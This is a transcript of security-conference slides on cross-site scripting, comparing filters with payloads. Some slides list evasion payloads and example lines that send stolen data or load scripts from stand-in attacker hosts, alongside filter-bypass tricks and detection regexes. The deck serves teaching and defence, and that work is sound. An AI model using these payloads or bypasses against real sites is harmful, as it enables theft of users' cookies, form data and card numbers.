SlideShare a Scribd company logo
1 of 66
UNTAMED XSS WARS – FILTERS VS. PAYLOADS
Aditya K Sood , Sr. Security Researcher
Vulnerability Research Labs (VRL)
COSEINC , Singapore
Session ID: HT1-303
Session Track: Hackers and Threats
ABOUT ME
2
• Security Researcher – Vulnerability Research Labs – COSEINC (http://www.coseinc.com )
• Founder SecNiche Security (http://www.secniche.org)
• Information Security Author at various.
• Speaker at various security conferences.
• Working in the security field for last 7 years.
DISCLAIMER
All vulnerabilities and attacks presented in this presentation were discovered during my professional avocation with web
application penetration testing and research.
This research is different from my ongoing routine work.
All contents of this presentation represent my own beliefs and views and do not, unless explicitly stated otherwise, represent
the beliefs of my current, or any of my previous in that effect, employers.
All for Education and Developmental Purposes
AGENDA
Web 2.0 Artifacts and Web Attack Trends
Under the Hood - Filters and Payloads
Beating the Base - Differential XSS Attacks
The Anti XSS World – Solutions and Problems
3
Web 2.0 Artifacts and
Web Attack Trends
4
WEB 2.0 – THE RETROSPECTIVE
• Interactive and centralized information sharing
• Platform for participatory web
• No segregation of work functionality , interdependency
• Sort of online democracy – users to users
• Web content utilization at large scale
• Backward compatible with web 1.0
• Applications – web driven and desktop structured
5
THINKING - WEB APPLICATION STATE AND RISKS
6
© OWASP
BUSINESS BAY – APPLICATION SERVES PLATINUM
• Business dependency on application layer
• Integration of business processes for automation on web
• End user services via web applications
• Giant step towards Cloud Computing
• Global presence , transactions and real time communication
• Business Chess – Walk Fast , Fetch Money on Web
• Business Model – Web 2.0 is the Golden Key
7
WEB APPLICATION – SECURITY IS BROKEN
8
MOST WIDESPREAD WEB VULNERABILITIES
9
© WASC
XSS ANATOMY – THE TRUTH BEHIND BARS
• Frivolous problem in the ongoing web system.
• 80% of the common flaws are of XSS or its variants.
• Reported and still remain unpatched.
Security at its best.
• Reasons for this behavior
– People don’t know or don’t want to know.
– Underestimate the impacts of XSS after understanding.
– Insufficiently addressed even after understanding the risks.
• An open door to takeover your integral components.
10
WEB SECURITY MODEL – SOP AND XSS (VARIANTS)
11
SOP – Avoids
Loading Content
from different
Domain. It can be
Script or a
Document
XSS - Attack Serves
the Loading of
Malicious Script and
Document from
different Domain.
SOP – Controlling JavaScript and DOM functions from different Domains
XSS – Scripting Across Domains
XSS is an output of inadequateness of same-origin policies
UNDER THE HOOD
Filters and Payloads
12
XSS PAYLOADS – INSIDE THE GALLON
• Randomization – Execution in a diversified manner
13
• <script>alert("XSS");</script>
• <script src="http://bad.example.org/exploit.js"></script>
• <img src="javascript:alert('XSS');">
• <iframe src='vbscript:alert("XSS")'>
• <body onload="alert('XSS');">
• <a href="#" onmouseover="alert('XSS');">Cool link</a>
• <input type="text" size="20" onfocus="alert('XSS');">
• <span style="background-image:url(javascript:alert('XSS'))">
• <span style="x:expression(alert('XSS'))">
• <link rel="stylesheet" href="http://bad.example.org/exploit.css">
• <meta http-equiv="refresh" content="0;url=data:text/html;base64,
PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+">
XSS PAYLOADS – INSIDE THE GALLON
• Camouflaging – Exploiting in a hidden manner
14
• <img src="javascript:alert(payload);"> Original attack
• <IMG SRC="javascript:alert(payload);"> Case changed #1
• <iMg sRC="jaVasCript:alert(payload);"> Case changed #2
• <img src='javascript:alert(payload);'> Apostrophe instead of quotation marks
• <img src=javascript:alert(payload);> No quotation marks at all
• <img src="jav&#97;script:alert(payload);"> Entity used (decimal value)
• <img src="&#x6a;avascript:alert(payload);"> Entity used (hexadecimal value)
• <img src="&#X6A;avascript:alert(payload);"> Entity used (hexadecimal value, upper case)
• <img src="j&#97vascript:alert(payload);"> Entity used (decimal value, no semicolon)
• <img src="j&#00097;vascript:alert(payload);"> Entity used (decimal value, leading zeros)
• <img src=" javascript:alert(payload);"> Space character in front
• <img src="java&#09;script:alert(payload);"> Whitespace in between
• <img/src="javascript:alert(payload);"> No space in tag
• <img src="javascript:alert(payload);" Tag not closed
• <img src
="jav
a
script:alert(payload);"> Line breaks
XSS PAYLOADS – INSIDE THE GALLON
• Variations in XSS realm
15
Runtime addition of tags in DOM
• document.write('<tag>anydata</tag>');
• <iframe src="http://any.example.com/page.jsp?anyname=anyvalue"></iframe>
• <img src="http://any.example.com/grab.php?data=all_stolen_information">
• <form name="hack" action="http://any.example.com/grab.php" method="post">
<input type="hidden" name="anyname" value="anyvalue">
</form>
• <script src="http://any.example.com/more.js">
• <script src="http://hacked.example.com/js.php?data=some_data"></script>
Cookie extraction at run time
• var my_cookies = document.cookies;
Command execution in specific time
• window.setInterval('executeCommand()', 5000);
XSS PAYLOADS – INSIDE THE GALLON
• Variations in XSS realm
16
Arbitrary DOM Calls execution
• document.hack.submit();
• document.logon.action = 'http://hack.example.com/grab.php';
• var stolen_data = document.order.ccnumber.value;
• var where_am_i = document.location.href;
Active X Code execution
var fso = new ActiveXObject("Scripting.FileSystemObject");
XFile = fso.GetFile("c:businesssecret.txt");
stream = XFile.OpenAsTextStream(1, 0);
var content = stream.ReadAll();
AJAX same domain request
var xmlHttp; xmlHttp = new ActiveXObject("Msxml2.XMLHTTP"); xmlHttp.onreadystatechange=function() {
if(xmlHttp.readyState==4) { var response = xmlHttp.responseText; } }
try { xmlHttp.open("GET", "somepape.asp?parameter=anyvalue", true); xmlHttp.send(null);} catch (e) { }
XSS CHARACTERISTICS – INSIDE THE GALLON
• XSS – Impacts
– Disclosure of arbitrary data (entered) in HTML forms
– Disclosure of all text typed in an entire Web application
– File system reconnaissance and enumeration
– Disclosure of File contents and system files
– Intranet access through the outside
– Port scanning aka network reconnaissance
– Web Spidering aka application reconnaissance
– Fingerprinting and vulnerability scanning
– Brute forcing , exploit triggering etc
– Forcing rogue identities , identity thefts , privacy breaches etc
– Hoaxes, phishing and malware distribution
– File content manipulation , server degradation and device reconfig
17
XSS – UNBEATEN AND THE WAR
• There is no use of reinventing the wheel. Move ahead.
– What about basics?
– Why vulnerabilities still persist?
– Something is missing or untamed.
• WAR is RAW
– Replica of same thing in a reversible manner.
– Evasion and Detection – It all lies here.
– Filters vs. Payloads.
18
XSS – HOLISTIC PROTECTION
• HTML input sanitization
– PHP
• htmlspecialchars($user_data)
• htmlentities()
• html_entity_decode() / html_entity_encode()
• utf8_decode ( string $data ) / utf8_encode ( string $data )
– Ruby on Rails
• h(user_data)
• safe ERB Plugin  html_escape(user_data)
» Works primarily for Escaping HTML characters
» Fails in number of XSS variations.
19
Truth of Escaping and Best Practice
String-escaping should be the last step of data manipulation when your priority is leak-proof escaping
XSS – HOLISTIC PROTECTION
• HTML parameter filtering
– Ruby on Rails
• HTML based Whitelist sanitizer  sanitize(html,options{})
• Applying tidy package
20
require 'tidy' html = '<html><title>title</title>Body</html>'
xml = Tidy.open(:show_warnings=>true) do |tidy|
tidy.options.output_xml = true puts
tidy.options.show_warnings
xml = tidy.clean(html)
puts tidy.errors puts tidy.diagnostics xml end puts xml .
Sanitize.clean(html, :elements => ['a', 'span'],
:attributes => {'a' => ['href', 'title'], 'span' => ['class']},
:protocols => {'a' => {'href' => ['http', 'https', 'mailto']}}).
XSS – SERVER SIDE FILTERS
• Java xssfilt.jar
– Filter is described in web.xml file
– Protection is defined only for specific set of attributes
– It can be beaten
• Applying tidy package
21
<filter>
<filter-name>XSSFilter</filter-name>
<filter-class>com.cj.xss.XSSFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>XSSFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
XSS – SERVER SIDE FILTERS
• Modsecurity
– Based on security rule sets defined in attack configuration files
– Heavy use of regular expressions. Fault driven.
– Attacks controlled on standard set of HTML elements and attributes
• Effective Functionalities (A WAF Alias against XSS)
– URL link signing
– Cookie signing with certain crypto modules
– Stripping off comments out of code.
22
• SecStripCommentCode On/Off
• SecsSignCookies On/ Off
• SecEncryptionPassword “password”
• SecSignLinks On/ Off
XSS – SERVER SIDE FILTERS
• Modsecurity (Inefficient Layout)
– Filters bypassing is easy with different XSS variants
– Writing complex rules – a havoc or a nightmare
– Not a generalized model for securing applications against XSS
– Well Encodings , You want to rewrite filters again. Problem.
– Updates occur very slowly.
– Garbage value acceptance.
– Heavy processing and optimization.
23
Generic XSS Filter
SecFilter "<( |n)*script“ // allow commonly used HTML tags
SecFilter "<(.|n)+>“ // block all html and javascript
SecFilter "<[[:space:]]*script“ // a rogue xss filter , can be bypassed with simple tricks
XSS – SERVER SIDE FILTERS / IDS
• PHP-IDS
– Integral rule sets for detecting XSS attacks
– Regularly updated , Efficient in supporting Encoding schemes
– Capturing power is really high.
• Generic Functionalities
– CPU consumption is high based on filters usage for a single attack
– Overall Impact Ratio – based on number of filters involved
– Destined filters , robust coding and detection algorithms
24
XSS – SERVER SIDE FILTERS / IDS
• PHP-IDS – Rule sets (Robust)
25
[Obfuscated Detection]
(?:=s*[$w]s*[([])|(?:(s*(?:this|top|window|self|parent|_?content)s*))|(?:srcs*=s*(?:w+:|//))|(?:
w+[("w+"|w+||))|(?:[dW]||[dW]|W=w+,)|(?:/s*+s*[a-z"])|(?:=s*$[^([]*()|(?:=s*(s*")
[Basic Projection]
+)|(?:&s*w+s*)[^,])|(?:+[Wd]*news+w+[Wd]*+)|(?:document.w)
[PHP Centrifuge detection]
(?:({2,}+{2,}:{2,})|(?:({2,}+{2,}:+)|(?:({3,}++:{2,})|(?:$[!!!])
[XSS Concatenation Patterns]
(?:=s*w+s*+s*")|(?:+=s*(s")|(?:!+s*[d.,]+w?d*s*?)|(?:=s*[s*])|(?:"s*+s*")|(?:[^s][s*d+
s*]s*[;+])|(?:"s*[&|]+s*")|(?:/s*?s*")|(?:/s*)s*[)|(?:d?.+:d)|(?:]s*[W*w)|(?:[^s]s*=s*/)
[Malicious Attribute Injection Check]
(?:[sd/"]+(?:onw+|style)=[$"w])
Download - http://php-ids.org/files/phpids-0.6.3.1.zip [ default_filter.xml] [ Updates regularly found]
XSS – MOZILLA CONTENT SECURITY POLICY
• CSP – robust prevention against XSS
– Scripts from white listed domains are allowed to execute
– Events are allowed in an optimized way without HTML
• Default Restrictions - overview
26
• The contents of internal <script> nodes
• JavaScript: URIs, e.g. <a href="javascript:bad_stuff()">
• Event-handling attributes, e.g. <a onclick="bad_stuff()">
• data: URIs as a source for inline content.
• eval()
• setTimeout called with a String argument, e.g. setTimeout("evil string...", 1000)
• setInterval called with a String argument, e.g. setInterval("evil string...", 1000)
• new Function constructor, e.g. var f = new Function("evil string...")
• JavaScript: URIs, e.g. <a href="javascript:bad_stuff()">
CUSTOM FILTERS – MOZILLA ADDONS
27
CUSTOM FILTERS – MOZILLA ADDONS
• NoScript
28
Very Effective. False Positives.
CUSTOM FILTERS – IE8 FILTER IN ACTION
• IE 8 Reflective XSS Filter
29
Payload Detected. But still Bypassed.
X-XSS-Protection: 0
XSS FILTER NAVIGATION AND WORKING
• Working functionality
30
Generic functionality and Bypasses
XSS – FILTERS THINKING AND APPROACH
• Base functionality
• White listing – removing tags that are not on the list
• Encodes “<” and “&” characters in content
• Encodes non-printable and non-ASCII characters in attribute values
• Correctly closes elements which must be empty. Sanitizing DIV tags.
• Converts named character entities ( “&nbsp;” becomes “&#160;”)
• Removes HTML comments and quoted unquoted attributes
• Appropriate CDATA conversion (“<![CDATA[x<y]]>” becomes “x&lt;y”)
• HTML-encodes XML processing instructions (<? X?> becomes &lt;? X ?&gt;)
• Preventing ID spoofing by adding prefix to attributes
• Adding optional tags for correct closing and following the specification
• Matching HREF attributes against expressions “^(http:|https:|ftp:|mailto:|[#./])”
• Removing content against SCRIPT elements
• Parsing STYLE attributes and removing properties
• (ONCLICK , SRC, BACKGROUND-IMAGE, IFRAMES)
31
XSS – FILTERS THINKING AND APPROACH
• Regular Expression – the base artifact of XSS filters
32
Web.NeatHtml/Filter.cs
XSS – FILTERS THINKING AND APPROACH
• Regular Expression – the base artifact of XSS filters
• Mostly the regular expressions are implemented against whitelist
• (/) End tag matching
• ([a-z][a-z0-9_:]*)  Tag name capturing
• ([_:a-z][_:a-z0-9.]*)  Attribute name capturing
• ("[^<"]*"|'[^<']*'|[^"'][^ tnr<>]*)  Attribute value and quotes check
• ([ tnr]*/?>)  Capturing last part of tag
33
Rule set 1 - <(/)?([a-z][a-z0-9_:]*)?  (/) Tag closing check and Rest is name matching
Rule set 2 - <!--[^-]*(?:-[^-]+)*-->  Removing content out of comments
Rule set 3 - <![CDATA[([^]]*(?:][^]]+)*)]]>  Complete encoding of CDATA
Complex rule set – composite filters
<(/)?(([a-z][a-z0-9_:]*)?(?:[ tnr]+([_:a-z][_:a-z0-
9.]*)((?:[ tnr]*=[ tnr]*("[^<"]*"|'[^<']*'|[^"'][^ tnr<>]*))?))*([ tnr]*/?>)?)
XSS – FILTERS THINKING AND APPROACH
• Regular Expression – complexity and functionality checks
– SCRIPT elements and Meta character stringency
• SCRIPT tags are not filtered on server side considering the functionality
• Trusted and untrusted user functionality comes to play.
• Client side SCRIPT filters are considered more suitable.
– HTML comments and CDATA untrusted content reverted back
• Comments are displayed [ --  &#34;&#34 ]
• CDATA elemental content
– Nested URL JavaScript “unescape” false positives
• NoScript filter has shown this behavior in recent versions
• Hard to optimize because stealth JavaScript cannot be allowed.
34
Some of the specific filter problems are listed above. There can be other discrepancies too.
XSS FILTER – BYPASSING REALM
• Starting the flow
XSS Attack Base
35
Vector Attack Area
XSS FILTER – BYPASSING REALM
• Generalization work flow. Testing is all yours !!
– Playing with [“”] , [‘’] , [] ,
• Combination of different quotes. Single , double or none. It works greatly.
• Payload should be designed with different matches
• Example:- xss_payload = expression(alert(786)) [ can be set with quotes]
– Gaming around with different scripting languages
• JavaScript and VBScript is best preference for testing
• Calling Encode functions such as execScript (VBS), Jscript.Encode etc
• Supports Escaping , HEX , Octal , Base 64 etc and conversions
• Work with most of the events onLoad . onClick , onMouseOver etc
• Example: execScript("MsgBox786","vbscript"); // Interdependency
– Code execution with error generating events
• Generating errors and execution payload with exceptions
• Example:- <imgsrc=“rogue.jpg” onerror=vbs:msgbox+786>
36
XSS FILTER – BYPASSING REALM
• Generalization work flow. Testing is all yours !! (Continued)
– Understanding the diversification of payload base elements
• Payload base elements- inadvertent impact on filter bypassing
• # | <a href=“#” | <a href=# | <a href=’#’ onload =“xss_payload”>
•  , 0 | &quot; | ”” | ’ | Escaping the HTML ,NULL[ Effective in its functionality]
• &lt;| &gt; | &amp; | &quot; | &apos; | [Best choice]
• : | JavaScript: | xss:expression | [ DOM , CSS]
• + | ? | * | [ Joining , Decision and All]
• < > | [ Closed and Unclosed tag combination ]
• ; | [ Playing around JavaScript delimiter and statement closing]
• rn and n | [ Carriage return feed and new line , amazing result]
• == , or , and [ String manipulation]
• (;;) | (;) [ JavaScript function reiteration]
37
XSS FILTER – BYPASSING REALM
• Generalization work flow. Testing is all yours !!
• Understanding of regex and encoding is always useful
© Wikipedia | © Business info
38
XSS FILTER – BYPASSING REALM
• Some bypass checks ( Effective Try. Results Vary)
– Modsecurity
• Hex encoding with escaping elements
• Breaking and joining the attributes lie src  ‘sr’+’c’ [ encode “+”]
• http://www.w3schools.com/TAGS/ref_urlencode.asp
• Replacing angle brackets with squared ones “()”  “[]”
• Try ````` characters for bypassing rule sets
• Complex div statements with encoding and technique discussed.
– PHP-IDS
• Patched regularly , heavy duty some filters and very effective. Need to try hard
• Complex parameters with set Timeout functions etc.
• Inline JSON injections. Nested payloads inside elements and quoted.
– IE8
• Plethora of injections work. Prevents only specific ones.
39
BEATING THE BASE
Differential XSS Attacks
40
[1] PDF HTTP FORM REPURPOSING ATTACKS
• Exploiting the online storage of files
• Dual behavior
– Content disposition HTTP parameter
– PDF – JavaScript protocol handler submission through forms
– Browsers efficiency to treat rendering content as inline scripts
• Basic fact
41
Web applications that allow hosted PDF documents to be opened directly in the browsers through
PDF reader plug-ins are vulnerable to HTTP Silent form Repurposing attacks.
[1] PDF HTTP FORM REPURPOSING ATTACKS
• Truth about ACROJS objects
– ACRO JS objects can not access HTML Objects directly
– No inheritance characteristic defined for ACRO JS objects
– ACRO JS Objects are individualistic in functioning.
– ACRO JS does not support DOM
– Different from JavaScript in certain aspects
– Adobe removed the support of data storage in forms in new versions
42
The security mechanism comes to play as a part of software restriction which has nothing to do with
browsers. The security mechanism does not allow the execution with standalone PDF’s but it can be
bypassed to some extent when rendered in browser.
[1] PDF HTTP FORM REPURPOSING ATTACKS
• GMAIL- Google Docs Cookie Stealing Vulnerability
– (Patched) (1)
43
[2] WM PLAYER ACTIVE X OBJECT – XSS RELOCATION
• The attack realm
– XSS relocation in windows media player text object
– Payload is treated as active JavaScript
– Executing windows media player active x object
– Windows media player runs in auto start mode
– Payload executes in browser and produces reflective XSS
44
<object ID="Player1" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" height="240" width="320">
<param name = "URL" value ="cookie_ex_wmp.wma"/>
<param name = "autostart" value = "true">
<param NAME="CaptioningID" VALUE="knock_out">
</object> <div id="knock_out"></div>
[2] WM PLAYER ACTIVE X OBJECT – XSS RELOCATION
45
Setting the Payload
XSS through WM Player ActiveX
Diversification – Works with Apple QuickTime too
[3] XSS VIABILITY THROUGH OFFICE DOCUMENTS
• Conducting XSS through inline word hyper linking
– Bypassing standard XSS filters through payloads set as links
– Weakness in custom designed XSS filters
– Inappropriate mechanism and conversion algorithms
– Versatile technique to conduct hidden XSS through documents
– Persistent in nature primarily.
– User interaction is required.
• Number of vendor products are susceptible
46
Vendors have been notified and work is in progress to patch the
vulnerabilities in enterprise web applications
.
[3] XSS VIABILITY THROUGH OFFICE DOCUMENTS
• Designing a word document – payload driven
47
[4] PHP REMOTE FILE INCLUSION – STEALTH XSS
• Conducting XSS through file inclusion
– Bypassing reflective XSS filters [Internet Explorer 8]
– Weakness in code or inappropriate application development
– PHP inclusion flaw
– Executing payload as raw data.
– Hiding the payload from the filters.
– Reflective in nature primarily.
– No user interaction is required.
48
The usage of this type of attack is quite fruitful in bypassing certain standard XSS reflective filters
and stealth payload execution.. Object inclusion is direct in the vulnerable page
[4] PHP REMOTE FILE INCLUSION – STEALTH XSS
• Successful inclusion of PDF file – raw format
49
[5] BROWSER BASED DESIGN BUGS - STRINGENCY
• Browsers are always pruned with bugs
– Payload execution is supported in one browser and not in other
– CSS rendering difference
– Event execution works different in different browsers
– Bugs and vulnerabilities.
• Case study
– Google Chrome Random CLSID payload execution
– Webkit strange behavior
50
[OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>
[param name=url value=javascript:alert('XSSXSSXSXSXSXSXSXSXSXSXSXSSXSXSXSSXSXXSSS')]
[/OBJECT]
[5] BROWSER BASED DESIGN BUGS - STRINGENCY
• Case study (Continued)
– Comparison output with other browsers
– Works with or without CLSID but behavior is false
51
Security Concern
The differential set of payloads always favor the XSS execution and browser inabilities to follow the standard
benchmarks.
[6] EXPLOITING INTERDEPENDENCY – BROWSER FRAMES
• Architecture of one browser used a frame in other
– Google Chrome Frame in IE8 [Havoc]
• Dismantling the normal behavior of inherent browser
– Working functionality is changed
– Example:- XML based XSS is easily possible with this
52
Google Chrome Frame, an open source plug-in that brings HTML5 and other open web technologies to
Internet Explorer. Google Chrome Frame is built to help web developers deliver faster, richer applications
like Google Wave. More Precisely to support rich HTML 5 and porting open source technologies to internet
explorer
Security Risk – Attack surface and exploitation is increased in IE8
[6] EXPLOITING INTERDEPENDENCY – BROWSER FRAMES
• Google Chrome Frame in IE8 [Havoc]
53
Setting the Handlers
XSS through XML in CF in IE8
[7] XML BASED AUTHORING FLAWS
• Case study – SCRIBD vulnerability
– Reported and Patched
– Scribd fails to implement the filter on payload set in protocol
handlers
– Links directly injected and converted to XML
– Last part compiled and displayed in flash player
– Collective problem scenario
54
[7] XML BASED AUTHORING FLAWS
• Case study – SCRIBD vulnerability (Continued)
– Reported and Patched (1)
55
THE ANTI- XSS WORLD
Solutions and Problems
56
ASP/ ASP.NET ANTIXSS LIBRARY
• Library functions applied to beat XSS
• Based on Principle of Inclusions – a white list approach
• White List – defining the allowable characters
• Applied security on developer code for secure output
– HtmlAttributeEncode(String)
– HtmlEncode(String)
– JavaScriptEncode(String)
– UrlEncode(String)
– VisualBasicScriptEncode(String)
– XmlAttributeEncode(String)
– XmlEncode(String)
57
SRE – SECURITY RUNTIME ENGINE - ANTIXSS
• Microsoft initiative to protect ASP.NET applications
• Configuration based HTTP module runs on IIS/ASP.NET
• Its not a WAF (Web Application Firewall)
• CLR (Common Language Runtime) Hooking
• Server End Protection following configuration rule set.
No need to restate the base code of the application
• Supports advanced encoding schemes
• Encodes specific controls on web page
• Implements suppression of encodings for optimization.
58
COMPARABLE ARTIFACTS – SRE AND ANTIXSS LIBRARY (AXL)
59
SRE – HTTP
Module
Driven
AXL – Code
Driven
SRE –
Supports
Suppression
AXL –
Suppression
is not
Supported
SRE – Use
Page.PreRender
event to encode
AXL – Use
Response.Write
event to write to
output stream
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<Configuration> <ControlEncodingContexts>
<ControlEncodingContext FullClassName="System.Web.UI.WebControls.Label" PropertyName="Text" EncodingContext="Html" />
<ControlEncodingContext FullClassName="System.Web.UI.Page" PropertyName="Title" EncodingContext="Html" />
</ControlEncodingContexts>
<DoubleEncodingFilter Enabled="True" />
<EncodeDerivedControls Enabled="True" />
<MarkAntiXssOutput Enabled="True" Color="Yellow" />
</Configuration>
SRE Configuration File
LIMITATIONS AND DRAWBACKS – REAL WORLD
• AntiXSS and SRE – appropriate for new development.
– SRE – fails to deploy at running web infrastructure.
Only IIS specific. Other Servers !!
– AntiXSS – recompiling code when a change is directed
A hard process to implement.
– Functionally driven for only ASP.NET.
What about other technologies?
– Response.Write vulnerabilities with Anti-XSS library.
– Not a generalized model of security.
– Optimization against heavy websites is hard.
60
MICROSOFT IE8 – SAFE SCRIPTING
• Protection mechanism against
– JSON injections
– Malicious and injection based script
61
Using Window.toStaticHTML () function to make objects static
This method does not filter the attributes of the base element. This can cause potentially unwanted
redirect requests for link and anchor elements injected into a Web page.
<script type="text/javascript">
function sanitize()
{
var szInput = myDiv.innerHTML;
var szStaticHTML = toStaticHTML(szInput);
ResultComment = "ntoStaticHTML sanitized the HTML fragment as follows:n"
+ "Original Content:n" + szInput + "n"
+ "Static Content:n" + szStaticHTML + "n";
myDiv.innerText = ResultComment;
}
</script>
BEEP – BROWSER ENFORCED EMBEDDED POLICIES
• Utilizing browser efficiency to detect XSS attacks.
– Concept – pre knowledge of script execution.
– Browsers capability for parsing and rendering content.
– Website supplying the policy parameters.
– Parsing security hooks for execution in dynamic web page.
– Policies – white listing , DOM sandbox , custom lists etc.
– White listing – hash indexing is followed.
62
BEEP – REAL WORLD DEPLOYMENT PROBLEMS
• Browsers design need to be changed. Modifications.
Vendor decision to enhance code.
– Heavy task in installing Security Hook functions
Excessive overhead. processing Power.
– Extra Execution . Repeated Invocations of hook functions
Complexity and optimization for heavy duty websites
– Maintaining DOM tree Integrity
Untamed parsing changes lead to tree corruption
– Dual Change – website and browsers
New benchmark , standards not a feasible model
63
QUESTIONS / QUERIES !
Understand the intricacies and make a choice.
64
?
REFERENCES AND MORE CONTENT
http://www2007.org/papers/paper595.pdf
http://www.brettle.com/NeatHtml/docs/Fighting_XSS_with_JavaScript_Judo.html
http://secniche.org/papers/noscript_xss_chk_comp_flaw.pdf
http://secniche.org/papers/SNS_09_03_PDF_Silent_Form_Re_Purp_Attack.pdf
http://secniche.org/papers/SNS_09_01_Evad_Xss_Filter_Msword.pdf
http://demo.php-ids.org/ | http://www.modsecurity.org/demo/
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
http://coseinc.com/en/index.php?rt=download&act=publication&file=design_inaccuracy_inside_ipaper_framework.pdf
http://people.mozilla.org/~bsterne/content-security-policy/demo.cgi
https://wiki.mozilla.org/Security/CSP
http://research.microsoft.com/en-us/um/people/nswamy/papers/beep-www07.pdf
http://zeroknock.blogspot.com/2010/01/noscript-19935-xss-injection-checker.html
http://zeroknock.blogspot.com/2009/12/google-chrome-webkit-msword-scripting.html
http://isis.poly.edu/~csaw_research/Mike%20Ter%20Louw.pdf
http://proidea.maszyna.pl/CONFidence09/2/CONFidence2009_gareth_heyes.pdf
http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf
65
THANKS
RSA Conference Organization
COSEINC
All Security Community for their Efforts.
__________________________________________
Aditya K Sood , Security Researcher (VRL)
Email: aditya@research.coseinc.com || adi.zerok@gmail.com
66

More Related Content

What's hot

Development Security Framework based on Owasp Esapi for JSF2.0
Development Security Framework based on Owasp Esapi for JSF2.0Development Security Framework based on Owasp Esapi for JSF2.0
Development Security Framework based on Owasp Esapi for JSF2.0
Rakesh Kachhadiya
 
hacking your website with vega, confoo2011
hacking your website with vega, confoo2011hacking your website with vega, confoo2011
hacking your website with vega, confoo2011
Bachkoutou Toutou
 
[Wroclaw #7] Security test automation
[Wroclaw #7] Security test automation[Wroclaw #7] Security test automation
[Wroclaw #7] Security test automation
OWASP
 
[Wroclaw #7] AWS (in)security - the devil is in the detail
[Wroclaw #7] AWS (in)security - the devil is in the detail[Wroclaw #7] AWS (in)security - the devil is in the detail
[Wroclaw #7] AWS (in)security - the devil is in the detail
OWASP
 
Subgraph vega countermeasure2012
Subgraph vega countermeasure2012Subgraph vega countermeasure2012
Subgraph vega countermeasure2012
David Mirza
 

What's hot (20)

Java Security
Java SecurityJava Security
Java Security
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2
 
Development Security Framework based on Owasp Esapi for JSF2.0
Development Security Framework based on Owasp Esapi for JSF2.0Development Security Framework based on Owasp Esapi for JSF2.0
Development Security Framework based on Owasp Esapi for JSF2.0
 
Security testing operation vijay
Security testing   operation vijaySecurity testing   operation vijay
Security testing operation vijay
 
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
 
Spring Framework - Spring Security
Spring Framework - Spring SecuritySpring Framework - Spring Security
Spring Framework - Spring Security
 
Problems with parameters b sides-msp
Problems with parameters b sides-mspProblems with parameters b sides-msp
Problems with parameters b sides-msp
 
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
 
hacking your website with vega, confoo2011
hacking your website with vega, confoo2011hacking your website with vega, confoo2011
hacking your website with vega, confoo2011
 
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
 
[Wroclaw #7] Security test automation
[Wroclaw #7] Security test automation[Wroclaw #7] Security test automation
[Wroclaw #7] Security test automation
 
Fun With Spring Security
Fun With Spring SecurityFun With Spring Security
Fun With Spring Security
 
Ten Commandments of Secure Coding
Ten Commandments of Secure CodingTen Commandments of Secure Coding
Ten Commandments of Secure Coding
 
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh  - Some new vulnerabilities in modern web applicationNguyen Phuong Truong Anh  - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
 
Nguyen phuong truong anh a story of bug bounty hunter
Nguyen phuong truong anh   a story of bug bounty hunterNguyen phuong truong anh   a story of bug bounty hunter
Nguyen phuong truong anh a story of bug bounty hunter
 
Devouring Security XML Attack surface and Defences
Devouring Security XML Attack surface and DefencesDevouring Security XML Attack surface and Defences
Devouring Security XML Attack surface and Defences
 
[Wroclaw #7] AWS (in)security - the devil is in the detail
[Wroclaw #7] AWS (in)security - the devil is in the detail[Wroclaw #7] AWS (in)security - the devil is in the detail
[Wroclaw #7] AWS (in)security - the devil is in the detail
 
Subgraph vega countermeasure2012
Subgraph vega countermeasure2012Subgraph vega countermeasure2012
Subgraph vega countermeasure2012
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScript
 
OWASP London - So you thought you were safe using AngularJS.. Think again!
OWASP London - So you thought you were safe using AngularJS.. Think again!OWASP London - So you thought you were safe using AngularJS.. Think again!
OWASP London - So you thought you were safe using AngularJS.. Think again!
 

Viewers also liked

Funda gürbüz(twitter)
Funda gürbüz(twitter)Funda gürbüz(twitter)
Funda gürbüz(twitter)
funda91
 

Viewers also liked (16)

NSC #2 - Challenge Solution
NSC #2 - Challenge SolutionNSC #2 - Challenge Solution
NSC #2 - Challenge Solution
 
Botconf ppt
Botconf   pptBotconf   ppt
Botconf ppt
 
[4developers2016] - Taking advantage of microservice architecture and DynamoD...
[4developers2016] - Taking advantage of microservice architecture and DynamoD...[4developers2016] - Taking advantage of microservice architecture and DynamoD...
[4developers2016] - Taking advantage of microservice architecture and DynamoD...
 
CUPP_2016_Issue 2
CUPP_2016_Issue 2CUPP_2016_Issue 2
CUPP_2016_Issue 2
 
CUPP_2016_Issue 1 (1)
CUPP_2016_Issue 1 (1)CUPP_2016_Issue 1 (1)
CUPP_2016_Issue 1 (1)
 
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
 
6.2 Properties of Quadrilaterals notes
